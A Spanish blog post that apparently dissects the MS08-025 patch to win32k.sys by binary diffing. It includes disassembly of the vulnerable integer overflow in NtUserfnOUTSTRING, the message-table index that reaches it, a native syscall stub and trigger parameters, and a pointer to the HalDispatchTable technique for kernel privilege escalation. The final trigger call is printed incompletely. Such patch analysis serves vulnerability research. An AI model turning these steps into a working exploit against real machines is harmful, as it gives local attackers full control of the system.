Baila el chiniwini. Nos adentramos en la MS08-25….
[actualizado] Este fallo concrétamente no afecta a Vista y posteriores
El boletín de este mes de Microsoft ha traido cosas interesantes, a la par que peligrosas en algunos casos. Si algún componente se lleva la palma, es parte del subsistema «ventanil» tanto en user-mode como en el kernel. Parte del núcleo, en concreto win32k.sys se ve afectado por -según el boletín de microsoft- una vulnerabilidad que permitiría a usuarios locales elevar sus privilegios(MS08-25). La gente de immunity en apenas un par de horas sacó un exploit funcional para vista y 2008 hoy desde el blog de SWI daban alguna información adicional. Ahora que no nos ve nadie yo os cuento lo que he visto «bindiffeando» un poco el tema. Los ingenieros de Microsoft se han puesto las pilas y han parcheado multitud de potenciales integer overflows aprovechando la coyuntura. La vulnerabilidad en sí, es también un integer overflow en una serie de funciones nativas que exporta win32k.sys. Vamos con ello…
No nos tenemos que ir muy lejos a buscar, la primera función con el menor ratio de similitud que nos presenta DarumGrim va a resultar ser una de las funciones vulnerables: NtUserfnOUTSTRING
Si le echáis un ojo al código, se vé claramente como el parche se ocupa de solucionar un integer overflow, por el cual podemos traspasar la protección del ProbeForWrite, ya que este no contempla la opción de comprobar un tamaño de memoria igual a 0 ( si leeis el post de SWI os explican porqué )
PAGE:0048E540 public _ProbeForWrite@12
PAGE:0048E540 _ProbeForWrite@12 proc near ; CODE XREF: KiInitializeUserApc(x,x,x,x,x,x)+6Fp
PAGE:0048E540 ; KiDispatchException(x,x,x,x,x)+C02Ep …
PAGE:0048E540
PAGE:0048E540 Address = dword ptr 8
PAGE:0048E540 Length = dword ptr 0Ch
PAGE:0048E540 Alignment = dword ptr 10h
PAGE:0048E540
PAGE:0048E540 mov edi, edi
PAGE:0048E542 push ebp
PAGE:0048E543 mov ebp, esp
PAGE:0048E545 mov eax, [ebp+Length]
PAGE:0048E548 test eax, eax
PAGE:0048E54A jz short loc_48E587 ; que te pires!!
El fallo es simple, si tenemos que MAX_INT es 0x7FFFFFFFF
.text:BF86A65A mov ecx, 7FFFFFFFh
podemos overflowearlo pasando como parámetro 0x80000000 como vemos aquí
.text:BF86A698 push eax ; Length – 0
.text:BF86A699 push esi ; Address – User-controlled
.text:BF86A69A call ds:__imp__ProbeForWrite@12 ; ProbeForWrite(x,x,x)
</pre lang="asm">
Y ya está liada, a partir de aquí hay que ver cómo se usa esta dirección para buscar la mejor manera de explotar el tema. Y la propia función nos lo "da hecho", avanzando un poco en el código de esta función, y después de que esta enrute hacia otras funcioines asociadas, tenemos esto:
<pre lang="asm">
.text:BF86A623 loc_BF86A623: ; CODE XREF: NtUserfnOUTSTRING(x,x,x,x,x,x,x)+85j
.text:BF86A623 cmp [ebp+arg_8], eax
.text:BF86A626 jz loc_BF86A6D1
.text:BF86A62C mov [ebp+ms_exc.disabled], ebx
.text:BF86A62F push [ebp+arg_18]
.text:BF86A632 push esi ; La dirección que controlamos
.text:BF86A633 call _NullTerminateString@8 ; NullTerminateString(x,x)
…
.text:BF8CE141 ; __stdcall NullTerminateString(x, x)
.text:BF8CE141 _NullTerminateString@8 proc near ; CODE XREF: NtUserfnOUTSTRING(x,x,x,x,x,x,x)-13p
.text:BF8CE141 ; _GetAltTabInfo(x,x,x,x,x)+B6p …
.text:BF8CE141
.text:BF8CE141 arg_0 = dword ptr 8
.text:BF8CE141 arg_4 = dword ptr 0Ch
.text:BF8CE141
.text:BF8CE141 mov edi, edi
.text:BF8CE143 push ebp
.text:BF8CE144 mov ebp, esp
.text:BF8CE146 mov ecx, [ebp+arg_0]
.text:BF8CE149 xor eax, eax
.text:BF8CE14B cmp [ebp+arg_4], eax
.text:BF8CE14E jnz short loc_BF8CE157
.text:BF8CE150 mov [ecx], ax ; TRAKATRA !!
Pues ya tenemos un forma de sobreescribir con 0’s cualquier dirección del kernel con lo que la explotación es trivial, mismamente el método de HalDispatchTable que uso en muchos exploits para drivers, se puede usar en este caso también.
A la hora de hacer exploits basándose en revertir los parches, mi opinión es que lo más costoso algunas veces es encontrar la forma de llegar hasta el código vulnerable no tanto identificarlo.Si lo consigues, a partir de ahí todo se simplifica bastante. Mención aparte merecen los fallos en Office que por norma general es de lo más asqueroso para hacer ingeniería inversa.
En este caso tampoco es dificil encontrar el camino al código vulnerable. En primer lugar vamos a buscar las xrefs y vemos que no hay que dar mucho rodeo.
.text:BF86A646 _NtUserfnOUTSTRING@28 proc near ; CODE XREF: xxxDefWindowProc(x,x,x,x)+6Ep
.text:BF86A646 ; <strong>NtUserMessageCall</strong>(x,x,x,x,x,x,x)+61p …
Esta syscall es la que enruta los mensajes hacia las funciones correspondientes:
.text:BF80F7AD push ecx ; int
.text:BF80F7AE push [ebp+arg_10] ; int
.text:BF80F7B1 and eax, 3Fh
.text:BF80F7B4 push [ebp+Address] ; wchar_t *
.text:BF80F7B7 push [ebp+arg_8] ; int
.text:BF80F7BA push [ebp+arg_4] ; int
.text:BF80F7BD push esi ; int
.text:BF80F7BE call ds:_gapfnMessageCall[eax*4] ; NtUserfnINSTRINGNULL(x,x,x,x,x,x,x)
Símplemente miramos en gapfnMessageCall
.rdata:BF98F4B8 ; DATA XREF: NtUserMessageCall(x,x,x,x,x,x,x)+61r
.rdata:BF98F4B8 ; NtUserfnNCDESTROY(x,x,x,x,x,x,x)
.rdata:BF98F4BC dd offset _NtUserfnNCDESTROY@28 ; NtUserfnNCDESTROY(x,x,x,x,x,x,x)
.rdata:BF98F4C0 dd offset _NtUserfnINLPCREATESTRUCT@28 ; NtUserfnINLPCREATESTRUCT(x,x,x,x,x,x,x)
.rdata:BF98F4C4 dd offset _NtUserfnINSTRINGNULL@28 ; NtUserfnINSTRINGNULL(x,x,x,x,x,x,x)
.rdata:BF98F4C8 dd offset _NtUserfnOUTSTRING@28 ; NtUserfnOUTSTRING(x,x,x,x,x,x,x)
Osea que el índice para esta table debería ser 4, como este índice se compone de *(BYTE*)MessageTable[eax] & 3Fh, siendo eax lo que nosotros controlamos desde usermode, hay que enviarle un valor de 0xD que corresponderá en la tabla a 0xC4 ( 0xC4 & 0x3F = 4 ).
Por último sólo nos queda llamar nativamente a esta función, para evitar cualquier otro check que se pudiera hacer en user-mode y así controlar totalmente los parámetros que le pasamos. Aunque no está documentado, tras un par de intentos es fácil dar con los valores. También podrías poner un breakpoint en la función y echar un ojo a la pila para dar con la estructura adecuada.
Yo lo que hice fue sacar la info desde user32.dll diréctamente y fuera
NtUserMessageCall
(
IN ULONG_PTR arg1,
IN ULONG_PTR arg2,
IN ULONG_PTR arg3,
IN ULONG_PTR arg4,
IN ULONG_PTR arg5,
IN ULONG_PTR arg6,
IN ULONG_PTR arg7
)
{
__asm
{
mov eax, 000011cch ; NtUserMessageCall
mov edx, 7ffe0300h ; XP SP2
call dword ptr [edx]
retn 1Ch
}
}
y por último la llamada que te abrirá las puertas del Reino si lo sabes aprovechar
0xD,
0x80000000,
Kerneeeeeeeeel,
0x84,
0x2b0,
0x0 );
Esta no es la única función afectada, además hay unos cuantos integer overflows parcheados pero que están mas relacionados con heap under-allocations,aunque en teoría explotables, suelen ser bastante más liosos y mucho menos estables. Este fallo mola, además se lleva por delante a todas las versiones de Windows.[NO, este fallo concrétamente no afecta a Vista y posteriores]
Bueno, se acabó. Adeu.